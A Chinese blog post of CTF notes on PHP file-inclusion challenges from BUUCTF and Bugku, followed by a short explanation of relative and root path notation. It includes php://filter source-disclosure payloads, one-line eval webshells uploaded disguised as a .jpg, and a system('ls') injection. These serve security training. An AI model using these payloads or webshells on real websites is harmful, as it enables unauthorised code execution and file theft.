微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

刷题笔记-文件包含

目录

【BUUCTF】- [ACTF2020 新生赛]Include1

【bugku】- 文件包含

【bugku】- 文件包含2

总结:路径


【BUUCTF】- [ACTF2020 新生赛]Include1

打开题目

点击

注意这里:?file=flag.PHP;可以联想到文件包含漏洞,然后我们就可以用PHP://filter协议来查看源文件内容; 

构造payload:

/?file=PHP://filter/read=convert.base64-encode/resource=flag.PHP

原理:PHP://filter 协议 

1,是格式
2,是可选参数,有read和write,字面意思就是读和写
3,是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.PHP里的代码转换(convert)为base64编码(encode)
4,是必选参数,后面写你要处理的文件
 

 

读出源码,进行base64解码得出flag 

举例:大写(转换)过滤器:string.toupper

?file=PHP://filter/read=string.toupper/resource=flag.PHP


大佬文章

【bugku】- 文件包含

打开场景


 

 点击

 

可以看出本题为文件包含index可以读取其他PHP文件。所以我们可以联想到读取index文件,但是直接读取index无法查看,所以就应该考虑用base64方法读取

index.PHP?file=PHP://filter/read=convert.base64-encode/resource=index.PHP

 得到base64编码,解码获得flag

【bugku】- 文件包含2

查看源代码

 进行访问

上传一句话木马的.jpg图片

<?PHP @eval($_POST[chopper]);?>

用了多种方式进行了尝试,没用

那就换一种木马

<script language=PHP>
@eval($_POST[v]);
</script>

使用蚁剑还是连接不上,那就使用文件包含的方式进行访问

http://114.67.246.176:12173/index.PHP?
file=upload/202109131252269214.jpg 

没用,再换

<script language=PHP>system("ls")</script> 

 查看目录,什么也发现不了。这题是不是换了。。。怎么跟别人wp写的都不一样

 直接去访问网站根目录下有没有flag

还真发现了

http://114.67.246.176:12173/index.PHP? file=/flag

因为网站存在文件包含漏洞,所以我们可以通过直接访问文件名,来获取文件内容。 

大佬文章

总结:路径

  • ./       :代表目前所在的目录。
  • …/    :代表上一层目录。
  • /       :代表根目录。

读取文件时,路径的写法有如下方式

1、文件在当前目录(以图像文件为例,当前项目文件为中心)

“./1.jpg” 或 “1.jpg”

2、文件在上层目录
(1)在上层目录下

"../1.jpg"

(2)在上层目录下的一个Image文件夹下

“…/Image/1.jpg”

 (3)在上上层目录下

“…/…/1.jpg”

3、文件在下一层目录(Image1文件夹)

“./Image1/1.jpg”

4、根目录表示法,任何页面访问Image下的Image.jpg图片

“C:/Image/1.jpg”

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐